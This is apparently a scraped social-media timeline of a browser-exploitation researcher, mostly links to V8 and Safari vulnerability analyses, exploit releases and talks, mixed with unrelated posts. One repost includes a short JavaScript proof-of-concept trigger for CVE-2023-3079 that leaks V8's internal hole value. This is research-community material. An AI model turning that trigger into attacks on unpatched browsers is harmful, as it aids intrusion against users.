ret2eax

#VulnResearch #ReverseEngineering #ExploitDev | 🥷🏽

[ret2eax @ret2eax]

CVE-2020-16040 #GoogleChromeBug analysis. #Google #Chrome's V8 JIT compiler's SL VisitSpeculativeIntegerAdditiveOp was setting Signed32 as restriction type, even when relying on a Word32 truncation, skipping an overflow check.

🔗https://t.co/cc2xDIMHZq

#infosec #exploitdev

[sakura @eternalsakura13]

My first V8 sandbox bypass vulnerability has been fixed, and I will continue to discover more.
https://t.co/rYa7uBTLId

[Elon Musk @elonmusk]

Great energy from @SpaceX fans in Mexico

[j j @mistymntncop]

In light of the issue page for CVE-2024-5274 being made public. Me and @buptsb have decided to make our exploit public. It's a bit different than the issue page POC.
https://t.co/goBkUUIoWX

[j j @mistymntncop]

type confusion causes human confusion

[1377 High-yield Nukes @buptsb]

CVE-2024-4947, another weird looking oob write...

[ret2eax @ret2eax]

@BugsChromium @xvonfers I was playing around with …spread and had a feeling about this one!

[Quentin M @0xdagger]

The slides of my Hexacon talk « Attacking Safari in 2022 » are available there: https://t.co/mId8V3ABfp

[Samuel Groß @5aelo]

I'm very excited to share my blogpost series (including PoC code) about a remote, interactionless iPhone exploit over iMessage: https://t.co/9FNpYQIyWE

[0xor0ne @0xor0ne]

Great blog post by @ret2eax on analysing and exploiting CVE-2020-16040 (Chrome's V8 heap corruption)

https://t.co/rrOeAeC3ga

#chrome

[ret2eax @ret2eax]

@alisaesage @zerodaytraining @elonmusk @x @support @elonmusk

[Zero Day Engineering | Community & Industry @zerodayengine]

Chromium [WIP] internal fuzzing map by source code directory, official dashboard https://t.co/pa6iSgKvKs

[raptor @0xdea]

These #Phrack articles by @5aelo are the best primers on attacking #JavaScript engines

A case study of JavaScriptCore and CVE-2016-4622
https://t.co/Wkj0e1UwRO

#Exploiting Logic #Bugs in JavaScript JIT Engines
https://t.co/0Nbxq6cNOh

[Samuel Groß @5aelo]

Sharing another V8 Sandbox design document more widely: https://t.co/h29nL4uBEM
This one discusses how to protect code pointers - probably the most performance sensitive part touched by the sandbox - with (almost) no performance overhead.

[j j @mistymntncop]

CVE-2023-3079 is tweetable :-).
function set(arr, key, val) {
arr[key] = val;
}
function leak_hole() {
for(let i = 0; i < 10; i++) {
set(arguments, "foo", 1);
}
set([], 0, 1);
set(arguments, 0, 1);
return arguments[1];
}
%DebugPrint(leak_hole());

[ret2eax @ret2eax]

@altryne Great discussion, thanks

[Massimo @Rainmaker1973]

In 1890, Henri Poincaré proved the non-existence of the uniform first integral of a three-body problem and the sensitive dependence to initial conditions of its trajectories. Yet, stable solutions to it do exist

[read more: https://t.co/DwYrXLncFh]
https://t.co/haECKnWsfp

[ret2eax @ret2eax]

@alisaesage Looks good! May you please share the patch commit?

[/r/netsec @_r_netsec]

Google Chrome's V8 JIT Compiler Analysis & Exploit Write-Up (CVE-2020-16040) https://t.co/adfz9JuKPK

[ret2eax @ret2eax]

Via ESA’s Sentinel-1 multi-temporal #satellite imagery; we can identify #electromagnetic anomalies of ground based transmissions, revealing locations of various phased array #radar systems including surface-to-air systems. 6 day orbital repeat cycle, 1.5 day revisit time #GeoInt